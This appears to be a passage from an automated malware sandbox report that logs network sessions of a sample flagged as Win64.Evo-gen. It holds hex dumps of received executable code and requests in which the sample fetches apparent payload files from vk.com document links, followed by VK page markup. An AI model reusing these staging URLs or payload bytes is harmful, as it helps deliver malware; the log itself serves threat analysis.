57 50 8d 45 f4 64 a3 00 00 00 00 8b 85 9c 00 00 00 33 c9 8b 9d a4 00 00 00 8b b5 a8 00 00 00 Data Ascii: AtCPSYUS]VW}SuWu_VuP33fG_^[]Vt$W\|$Wt$VfD$f~3fD~_^VFtCP]SD$YtjV$>YY^U$ljhmCdP`xD3SVWPEd3
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: 56 10 2b c2 3b c8 77 2b 83 7e 14 08 53 8d 1c 0a 57 89 5e 10 8b fe 72 02 8b 3e 51 ff 75 08 8d 04 57 50 e8 6d 00 00 00 33 c0 66 89 04 5f 8b c6 5f 5b eb 13 51 ff 75 08 c6 45 fc 00 ff 75 fc 51 8b ce e8 6a f8 ff ff 5e c9 c2 08 00 55 8b ec 51 56 8b f1 57 8b 7d 0c 3b 7e 14 77 23 83 7e 14 08 53 8b de 72 02 8b 1e 57 ff 75 08 89 7e 10 53 e8 21 00 00 00 33 c0 66 89 04 7b 8b c6 5b eb 10 ff 75 08 c6 45 fc 00 ff 75 fc 57 e8 aa f7 ff ff 5f 5e c9 c2 08 00 8b 44 24 0c 03 c0 50 ff 74 24 0c ff 74 24 0c e8 17 4e 02 00 8b 44 24 10 83 c4 0c c2 0c 00 55 8b ec 51 8b 51 10 3b 51 14 73 1f 83 79 14 08 8d 42 01 89 41 10 72 02 8b 09 66 8b 45 08 66 89 04 51 33 c0 66 89 44 51 02 eb 11 ff 75 08 c6 45 fc 00 ff 75 fc 6a 01 e8 58 f8 ff ff c9 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: V+;w+~SW^r>QuWPm3f__[QuEuQj^UQVW};~w#~SrWu~S!3f{[uEuW_^D$Pt$t$ND$UQQ;QsyBArfEfQ3fDQuEujX
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: 56 04 8b 0e 3b da 74 10 57 53 51 e8 69 f2 ff ff 8b 56 04 8d 45 01 8b cb 50 52 51 e8 59 f2 ff ff ff 74 24 10 8b ce ff 74 24 18 57 e8 20 0e 00 00 5f 8b c5 5d 5e 5b 59 59 c2 08 00 e8 08 ff ff ff cc 55 8b ec 83 ec 50 a1 78 87 44 00 33 c5 89 45 fc ff 75 08 8d 4d b0 e8 87 02 00 00 ff 75 0c 8d 4d b0 e8 78 05 00 00 8d 4d b0 e8 72 59 01 00 8b 4d fc 33 cd e8 b1 33 02 00 c9 c2 08 00 56 ff 74 24 08 8b f1 33 c0 89 06 89 46 10 89 46 14 e8 73 89 02 00 59 50 ff 74 24 0c 8b ce e8 b3 fe ff ff 8b c6 5e c2 04 00 6a 3c b8 94 90 43 00 e8 e9 33 02 00 8b d9 89 5d f0 e8 ff bc 00 00 33 ff c7 03 cc b6 43 00 8d 4b 50 89 7d fc e8 33 60 00 00 8d 8b 80 09 00 00 c6 45 fc 01 e8 e2 04 01 00 8d b3 a8 0a 00 00 89 bb 70 0a 00 00 89 bb 74 0a 00 00 89 7e 44 89 7e 54 c7 46 58 07 00 00 00 89 7e Data Ascii: V;tWSQiVEPRQYt$t$W _]^[YYUPxD3EuMuMxMrYM33Vt$3FFsYPt$^j<C3]3CKP}3`Ept~D~TFX~
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: 78 87 44 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 e8 1c 01 00 00 8b ce e8 df 27 01 00 8b 4d f4 64 89 0d 00 00 00 00 59 5e c9 c3 cc cc cc cc cc 83 c1 44 e9 ca f4 ff ff 83 c1 2c e9 2c 09 00 00 56 8b f1 3b 74 24 08 74 10 e8 b4 f4 ff ff ff 74 24 08 8b ce e8 43 f4 ff ff 8b c6 5e c2 04 00 8b 44 24 04 56 8b f1 3b f0 74 15 83 78 14 08 8b c8 72 02 8b 08 ff 70 10 51 8b ce e8 19 f5 ff ff 8b c6 5e c2 04 00 8b 51 40 83 fa 08 73 12 8b 44 24 04 83 78 14 08 72 02 8b 00 89 04 91 ff 41 40 8b c1 c2 04 00 cc cc cc cc cc cc cc cc 56 8b f1 e8 14 fd ff ff f6 44 24 08 01 74 0d 68 30 13 00 00 56 e8 fc 2d 02 00 59 59 8b c6 5e c2 04 00 56 ff 74 24 08 8b f1 e8 a2 01 00 00 84 c0 75 1f 38 86 dd 12 00 00 75 0b 8d 46 34 50 6a 3a e8 f6 f9 ff ff 6a 02 b9 c8 b0 44 00 e8 bb 6c 00 00 5e Data Ascii: xD3PEd'MdY^D,,V;t$tt$C^D$V;txrpQ^Q@sD$xrA@VD$th0V-YY^Vt$u8uF4Pj:jDl^
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: 8b cb ff d6 8b f0 8b fa 8b 83 b8 12 00 00 89 45 e8 8b 83 bc 12 00 00 89 45 ec 8b 83 c0 12 00 00 89 45 e4 8b 83 c4 12 00 00 89 45 e0 8b 83 7c 0a 00 00 89 45 dc eb 43 b0 01 e9 45 ff ff ff 8b 83 7c 0a 00 00 83 f8 03 75 20 80 bb cd 12 00 00 00 74 0d 80 bb 70 0f 00 00 00 75 04 b0 01 eb 02 32 c0 88 83 d1 12 00 00 eb 0a 83 f8 02 74 19 83 f8 05 74 32 8b cb e8 e5 01 00 00 8b cb e8 b6 27 00 00 85 c0 75 b9 eb 1e 80 bb cd 12 00 00 00 74 0d 80 bb f0 0b 00 00 00 75 04 b0 01 eb 02 32 c0 88 83 d1 12 00 00 8b 45 e8 89 83 b8 12 00 00 8b 45 ec 89 83 bc 12 00 00 8b 45 e4 89 83 c0 12 00 00 8b 45 e0 89 83 c4 12 00 00 8b 45 dc 89 83 7c 0a 00 00 8b 03 6a 00 57 56 8b 70 10 8b ce ff 15 80 b2 43 00 8b cb ff d6 80 bb cd 12 00 00 00 74 09 80 bb d1 12 00 00 00 74 0f 8d 4b 34 51 8d 8b Data Ascii: EEEE\|ECE\|u tpu2tt2'utu2EEEEE\|jWVpCttK4Q
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: c4 0c c6 04 1f 00 5f 5e 5d 5b 59 c2 08 00 e8 6a ea ff ff cc 51 51 53 8b d9 ba fe ff ff 7f 8b 4c 24 10 8b c2 55 8b 6b 10 2b c5 3b c1 72 7a 8b 43 14 56 57 52 8d 3c 29 89 44 24 14 50 57 e8 77 e9 ff ff 8b f0 8d 4e 01 51 e8 71 e2 ff ff 50 e8 50 e1 ff ff ff 74 24 2c 89 7b 10 8d 4c 24 24 ff 74 24 2c 8b 7c 24 18 89 44 24 1c 89 73 14 ff 74 24 2c 55 83 ff 08 72 19 8b 33 56 50 e8 21 03 00 00 8d 04 7d 02 00 00 00 50 56 e8 04 e2 ff ff eb 07 53 50 e8 0a 03 00 00 8b 44 24 14 5f 5e 89 03 8b c3 5d 5b 59 59 c2 14 00 e8 d0 e9 ff ff cc 51 51 53 8b d9 ba fe ff ff 7f 8b 4c 24 10 8b c2 55 8b 6b 10 2b c5 3b c1 72 7a 8b 43 14 56 57 52 8d 3c 29 89 44 24 14 50 57 e8 dd e8 ff ff 8b f0 8d 4e 01 51 e8 d7 e1 ff ff 50 e8 b6 e0 ff ff ff 74 24 2c 89 7b 10 8d 4c 24 24 ff 74 24 2c 8b 7c 24 Data Ascii: _^][YjQQSL$Uk+;rzCVWR<)D$PWwNQqPPt$,{L$$t$,\|$D$st$,Ur3VP!}PVSPD$_^][YYQQSL$Uk+;rzCVWR<)D$PWNQPt$,{L$$t$,\|$
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: 10 41 3b 4f 38 72 a7 5d 5b 56 e8 e8 2e 01 00 5f 5e 59 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 33 c0 c3 56 8b f1 57 8b be d8 12 00 00 03 be a0 0a 00 00 83 be c8 12 00 00 02 8b 8e b4 0a 00 00 74 10 51 8b ce e8 a5 f1 ff ff 8b 8e 1c 0b 00 00 03 c8 33 d2 03 cf 5f 13 d2 8b c1 5e c3 8a 81 49 0c 00 00 c3 6a 68 b8 ad 91 43 00 e8 f8 1e 02 00 89 4d 94 8b 7d 08 8b 5d 10 8b 47 10 2b 45 0c 3b 47 14 0f 82 bc 07 00 00 83 7d 0c 02 89 47 14 0f 82 af 07 00 00 8b cf e8 0e ee 00 00 8b c8 85 d2 0f 8c 9e 07 00 00 7f 08 85 c9 0f 84 94 07 00 00 8b 47 10 8b 77 14 2b c6 0f 84 86 07 00 00 85 d2 0f 8f 7e 07 00 00 7c 08 3b c8 0f 87 74 07 00 00 8d 04 31 8b cf 89 45 90 e8 cd ed 00 00 8b f0 8b c2 8b 55 90 2b 57 14 83 7b 04 01 89 45 9c 89 55 a0 0f 85 b3 01 00 00 83 fe 01 75 72 85 Data Ascii: A;O8r][V._^Y3VWtQ3_^IjhCM}]G+E;G}GGw+~\|;t1EU+W{EUur
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: 01 8a 4d b6 8a d1 88 45 b7 80 e2 02 88 55 a7 74 2d 8b cf 84 c0 74 12 e8 37 e8 00 00 6a 00 50 8d 4b 50 e8 70 3e 01 00 eb 0f e8 67 e8 00 00 52 50 8d 4b 50 e8 a6 3e 01 00 8a 4d b6 8a 45 b7 80 e1 04 88 4d a6 74 27 8b cf 84 c0 74 12 e8 02 e8 00 00 6a 00 50 8d 4b 58 e8 3b 3e 01 00 eb 0f e8 32 e8 00 00 52 50 8d 4b 58 e8 71 3e 01 00 8a 45 b6 8a c8 80 e1 08 88 4d af 74 31 80 7d b7 00 8b cf 74 15 e8 cc e7 00 00 6a 00 50 8d 4b 60 e8 05 3e 01 00 8a 45 b6 eb 1e e8 f9 e7 00 00 52 50 8d 4b 60 e8 38 3e 01 00 e9 2e 02 00 00 80 7d b7 00 0f 84 24 02 00 00 a8 10 0f 84 1c 02 00 00 80 7d a7 00 74 22 8b cf e8 89 e7 00 00 be ff ff ff 3f 23 c6 3d 00 ca 9a 3b 73 12 6a 00 50 8d 4b 50 e8 de 39 01 00 eb 05 be ff ff ff 3f 80 7d a6 00 74 1b 8b cf e8 5c e7 00 00 23 c6 3d 00 ca 9a 3b 73 Data Ascii: MEUt-t7jPKPp>gRPKP>MEMt'tjPKX;>2RPKXq>EMt1}tjPK`>ERPK`8>.}$}t"?#=;sjPKP9?}t\#=;s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49784	87.240.132.72	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:09 UTC	324	OUT	GET /doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww12 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 11:42:10 UTC	2476	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 11:42:10 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 467361 Connection: close X-Powered-By: KPHP/7.4.116875 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Fri, 23 May 2025 00:42:51 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9082949123205235645_x48vglUqC9jkdVGUdU0n1bo6czunTtzEdQrz0xJzcIg; expires=Sat, 24 May 2025 11:42:10 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixlgck=97161aec10fb207ac3; expires=Sat, 17 May 2025 14:33:06 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixstid=359637111_zjquBN3qKtIZdISlmymUJ2Ztdo5Vh7QJ42TEqSZMxB4; expires=Tue, 20 May 2025 01:25:50 GMT; path=/; domain=.vk.com; secure; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru htt [TRUNCATED] X-XSS-Protection: 1; report=/xss_reports X-Frame-Options: deny X-Frontend: front924200 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: zlK988hKGPnDU9f3KTwm7477nvWToA
2024-05-24 11:42:10 UTC	13908	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 20 6c 61 6e 67 3d 27 65 6e 27 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 5f 6c 6f 67 6f 2e 69 63 6f 3f 37 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 70 77 61 2f 61 70 70 6c 65 2f 64 65 66 61 75 6c 74 2e 70 6e 67 3f 31 Data Ascii: <!DOCTYPE html><html lang='en' dir='ltr'><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" /><link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?1
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 6e 65 7d 0a 2e 74 73 5f 63 6f 6e 74 5f 77 72 61 70 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 76 61 72 28 2d 2d 68 65 61 64 65 72 2d 68 65 69 67 68 74 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 6d 6f 64 61 6c 29 3b 7a 2d 69 6e 64 65 78 3a 38 30 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 34 70 78 20 34 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 34 70 78 20 76 61 72 28 2d 2d 62 6c 61 63 6b 5f 61 6c 70 68 61 31 36 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6c 65 66 74 3a 31 37 37 70 78 3b 77 69 64 74 68 3a 32 33 32 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 Data Ascii: ne}.ts_cont_wrap{position:absolute;top:var(--header-height);background:var(--vkui--color_background_modal);z-index:800;border-radius:0 0 4px 4px;box-shadow:0 1px 4px var(--black_alpha16);overflow:hidden;display:none;left:177px;width:232px;border:1px soli
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 6f 75 6e 64 25 32 32 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 33 2e 32 25 32 30 31 37 2e 37 4c 36 34 33 25 32 30 33 31 25 32 32 25 32 46 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 36 2e 39 25 32 30 32 32 2e 35 6c 2d 31 37 2e 38 25 32 30 33 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 25 33 44 25 32 32 30 25 32 43 31 38 2e 30 30 30 30 30 30 30 30 33 36 30 30 33 36 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 25 33 44 25 32 32 39 25 32 32 25 32 46 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 35 25 32 30 32 38 2e 33 4c 36 34 31 25 32 30 31 39 25 32 32 25 32 46 25 33 45 25 33 43 25 32 46 67 25 33 45 25 33 43 67 25 32 30 66 69 6c 6c 25 33 Data Ascii: ound%22%3E%3Cpath%20d%3D%22M653.2%2017.7L643%2031%22%2F%3E%3Cpath%20d%3D%22M656.9%2022.5l-17.8%203%22%20stroke-dasharray%3D%220%2C18.00000000360036%22%20stroke-dashoffset%3D%229%22%2F%3E%3Cpath%20d%3D%22M655%2028.3L641%2019%22%2F%3E%3C%2Fg%3E%3Cg%20fill%3
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 74 6f 3b 74 6f 70 3a 61 75 74 6f 3b 72 69 67 68 74 3a 61 75 74 6f 7d 0a 5b 64 69 72 3d 72 74 6c 5d 20 2e 6c 65 66 74 5f 6d 65 6e 75 5f 6e 61 76 5f 77 72 61 70 20 2e 75 69 5f 61 63 74 69 6f 6e 73 5f 6d 65 6e 75 5f 69 63 6f 6e 73 2c 5b 64 69 72 3d 72 74 6c 5d 20 5b 73 63 68 65 6d 65 3d 76 6b 63 6f 6d 5f 64 61 72 6b 5d 20 2e 6c 65 66 74 5f 6d 65 6e 75 5f 6e 61 76 5f 77 72 61 70 20 2e 75 69 5f 61 63 74 69 6f 6e 73 5f 6d 65 6e 75 5f 69 63 6f 6e 73 7b 72 69 67 68 74 3a 61 75 74 6f 3b 6c 65 66 74 3a 61 75 74 6f 7d 0a 2a 20 68 74 6d 6c 20 2e 63 6c 65 61 72 5f 66 69 78 7b 68 65 69 67 68 74 3a 31 25 7d 0a 2e 63 6c 65 61 72 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 0a 2e 73 63 72 6f 6c 6c 5f 66 69 78 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c Data Ascii: to;top:auto;right:auto}[dir=rtl] .left_menu_nav_wrap .ui_actions_menu_icons,[dir=rtl] [scheme=vkcom_dark] .left_menu_nav_wrap .ui_actions_menu_icons{right:auto;left:auto}* html .clear_fix{height:1%}.clear{float:none;clear:both}.scroll_fix{position:rel
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 65 64 5f 6e 69 63 65 3a 23 66 66 33 33 34 37 3b 2d 2d 73 6b 79 5f 36 30 3a 23 63 63 65 39 66 66 3b 2d 2d 73 6b 79 5f 38 30 3a 23 62 32 64 65 66 66 3b 2d 2d 73 6b 79 5f 31 30 30 3a 23 39 39 64 33 66 66 3b 2d 2d 73 6b 79 5f 32 30 30 3a 23 37 30 63 31 66 66 3b 2d 2d 73 6b 79 5f 33 30 30 3a 23 37 31 61 61 65 62 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 31 30 3a 23 66 61 66 62 66 63 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 32 30 3a 23 66 37 66 38 66 61 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 34 30 3a 23 66 30 66 32 66 35 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 35 30 3a 23 65 65 65 66 66 31 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 36 30 3a 23 65 64 65 65 66 30 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 38 30 3a 23 65 37 65 38 65 63 3b 2d 2d 73 74 65 65 6c Data Ascii: ed_nice:#ff3347;--sky_60:#cce9ff;--sky_80:#b2deff;--sky_100:#99d3ff;--sky_200:#70c1ff;--sky_300:#71aaeb;--steel_gray_10:#fafbfc;--steel_gray_20:#f7f8fa;--steel_gray_40:#f0f2f5;--steel_gray_50:#eeeff1;--steel_gray_60:#edeef0;--steel_gray_80:#e7e8ec;--steel
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2d 2d 72 65 67 75 6c 61 72 3a 31 32 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 6c 61 72 67 65 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2d 2d 72 65 67 75 6c 61 72 3a 31 36 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 73 6d 61 6c 6c 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 5f 69 63 6f 6e 2d 2d 72 65 67 75 6c 61 72 3a 38 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 6d 65 64 69 75 6d 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 5f 69 63 6f 6e 2d 2d 72 65 67 75 6c 61 72 3a 38 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 Data Ascii: ng_horizontal--regular:12px;--vkui--size_button_tertiary_large_padding_horizontal--regular:16px;--vkui--size_button_tertiary_small_padding_horizontal_icon--regular:8px;--vkui--size_button_tertiary_medium_padding_horizontal_icon--regular:8px;--vkui--size_b
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 66 66 66 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 68 6f 76 65 72 3a 23 66 35 66 35 66 37 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 61 63 74 69 76 65 3a 23 65 62 65 63 65 66 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 6f 72 64 65 72 3a 23 64 33 64 39 64 65 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 6f 72 64 65 72 2d 2d 68 6f 76 65 72 3a 23 63 62 64 31 64 38 3b 2d 2d 76 6b 75 69 2d 2d 63 Data Ascii: _write_bar_input_background:#ffffff;--vkui--color_write_bar_input_background--hover:#f5f5f7;--vkui--color_write_bar_input_background--active:#ebecef;--vkui--color_write_bar_input_border:#d3d9de;--vkui--color_write_bar_input_border--hover:#cbd1d8;--vkui--c
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 73 65 63 6f 6e 64 61 72 79 2d 2d 61 63 74 69 76 65 3a 23 34 33 34 33 34 33 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 30 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 2d 2d 68 6f 76 65 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 32 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 2d 2d 61 63 74 69 76 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 34 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 Data Ascii: secondary--active:#434343;--vkui--color_background_secondary_alpha:rgba(255, 255, 255, 0.10);--vkui--color_background_secondary_alpha--hover:rgba(255, 255, 255, 0.12);--vkui--color_background_secondary_alpha--active:rgba(255, 255, 255, 0.14);--vkui--color
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 66 72 6f 6d 2d 2d 61 63 74 69 76 65 3a 23 33 34 33 34 33 34 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 61 6c 70 68 61 5f 73 6b 65 6c 65 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 74 6f 2d 2d 68 6f 76 65 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 34 29 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 61 6c 70 68 61 5f 73 6b 65 6c 65 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 74 6f 2d 2d 61 63 74 69 76 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 38 29 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 6c 6f 61 64 65 72 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 35 35 35 35 35 3b 2d 2d 76 6b 75 Data Ascii: ton_shimmer_from--active:#343434;--vkui--vkontakte_color_alpha_skeleton_shimmer_to--hover:rgba(255, 255, 255, 0.04);--vkui--vkontakte_color_alpha_skeleton_shimmer_to--active:rgba(255, 255, 255, 0.08);--vkui--vkontakte_color_loader_background:#555555;--vku
2024-05-24 11:42:10 UTC	16384	IN	Data Raw: 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 76 6b 75 69 70 74 72 2d 72 6f 74 61 74 6f 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 74 75 72 6e 29 7d 7d 0a 2e 76 6b 75 69 43 68 65 63 6b 62 6f 78 5f 5f 69 6e 70 75 74 5b 64 69 73 61 62 6c 65 64 5d 7e 2a 7b 6f 70 61 63 69 74 79 3a 2e 36 34 3b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 76 6b 75 69 2d 2d 6f 70 61 63 69 74 79 5f 64 69 73 61 62 6c 65 5f 61 63 63 65 73 73 69 62 69 6c 69 74 79 29 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 76 6b 75 69 70 6f 70 6f 76 65 72 2d 66 61 64 65 2d 69 Data Ascii: %{transform:scale(1.1)}to{transform:scale(1)}}@keyframes vkuiptr-rotator{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.vkuiCheckbox__input[disabled]~*{opacity:.64;opacity:var(--vkui--opacity_disable_accessibility)}@keyframes vkuipopover-fade-i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49785	87.240.132.72	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:09 UTC	324	OUT	GET /doc863235369_679548730?hash=VLR7cQ444BmBjXLp6la3lUFGFg05ZJB7nkcmssw9Kvz&dl=1NJlbpp4OAVyDAr1uKZWHdqzidK1oz5VZ5ub6orZHcP&api=1&no_preview=1#mene HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
